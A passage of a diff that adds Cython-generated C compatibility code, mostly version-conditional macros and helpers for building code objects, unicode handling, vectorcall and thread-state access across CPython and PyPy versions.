PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define 